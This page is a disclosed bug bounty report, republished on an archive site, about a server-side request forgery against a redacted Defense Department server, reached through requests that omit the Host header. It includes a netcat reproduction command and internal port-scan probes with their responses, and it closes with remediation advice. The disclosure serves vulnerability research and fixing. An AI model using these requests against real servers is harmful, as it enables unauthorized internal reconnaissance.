Skip to content
SSRF Disclosed report Intermediate

SSRF in ███████

The report describes a server-side request forgery (SSRF) vulnerability where a crafted HTTP request without a Host header causes the server to make a request to an attacker-controlled URL. An attacker could use this to force GET requests to internal services and perform port scanning.

bfe3fdb1088411d8ef018aa3abde8 Follow

Originally disclosed on HackerOne

  • Triaged in 11 days
  • Fixed in 14 months
  • Disclosed after 2.8 years

Summary: Server-Side Request Forgery (SSRF) vulnerability in the ██████.

Description: By sending a specially crafted HTTP request, I can forcibly send a URL request from SSI server.

When sending the following HTTP request, access from the SSI server was logged on my server.

Request:

HTTP
GET http://██████████████████/ HTTP/1.1


You can send this HTTP request by executing following command.

$ echo -ne "GET http://██████████████/ HTTP/1.1\r\n\r\n" | nc █████████ 80

Response:

HTTP
HTTP/1.1 403 Forbidden
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Proxy-Connection: Keep-Alive
Connection: Keep-Alive
Content-Length: 2628

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Access Denied</title>

Server Log: ███████

I judged from the information of the source IP address that it is accessed from the SSI server.

$ whois ████████

Organization: ████ .. OrgAbusePhone: +███████ OrgAbuseEmail: █████\███████

Impact

The attacker can force GET request to be transmitted to other services in the internal network. Furthermore, it is also used for port scan by Cross-Site Port Attack (XSPA).

For example, I could identify several services running on this server.

  • FTP (port 20) and SSH (port 22) are running Request: GET http://█████████:20/ HTTP/1.1 Response: HTTP/1.1 503 Service Unavailable

    Request: GET http://██████████:21/ HTTP/1.1 Response: Timeout

    Request: GET http://███:22/ HTTP/1.1 Response: HTTP/1.1 503 Service Unavailable

  • LDAP (port 389) is running Request: GET http://█████████:387/ HTTP/1.1 Response: Timeout

    Request: GET http://█████:389/ HTTP/1.1 Response: HTTP/1.1 503 Service Unavailable

  • MSSQL (port 1433) is running Request: GET http://████████:1431/ HTTP/1.1 Response: Timeout

    Request: GET http://█████:1433/ HTTP/1.1 Response: HTTP/1.1 503 Service Unavailable

Suggested Remediation Actions

I assume that this behavior is caused not by the web server, but by the system located in front of it (e.g. cache server). In that system, if there is no Host header in the HTTP request (e.g. HTTP/0.9 support) it may be referring to an absolute-URI.

It is suggested that you change the setting of the cause system so that it does not refer to the absolute-URI of the HTTP request with no Host header.

This white paper may help you identify the cause. http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

The original report as published on HackerOne, by bfe3fdb1088411d8ef018aa3abde8. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the system in front of the web server (e.g., a cache server) processes HTTP requests without a Host header and uses the absolute-URI from the request line, allowing an attacker to specify an arbitrary URL.

Impact

The attacker can force GET requests to be transmitted to other services in the internal network, and it is also used for port scan by Cross-Site Port Attack (XSPA).

What the attacker needed

Ability to send HTTP requests to the target

The fix

The system in front of the web server should be configured to not refer to the absolute-URI of HTTP requests that lack a Host header.

How it was found

  1. Craft an HTTP request with an absolute URI in the request line and no Host header.
  2. Send the request to the target server.
  3. Observe that the server makes a request to the specified URL, as seen in the attacker's server logs.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report is about a server-side request forgery (SSRF) bug. In SSRF, an attacker can trick a server into making requests to other systems, like internal servers that are not directly accessible from the internet. Here, by sending a request without a Host header, the attacker made the server request a URL of their choosing, which could be used to scan internal networks.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More by bfe3fdb1088411d8ef018aa3abde8

View all

5 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.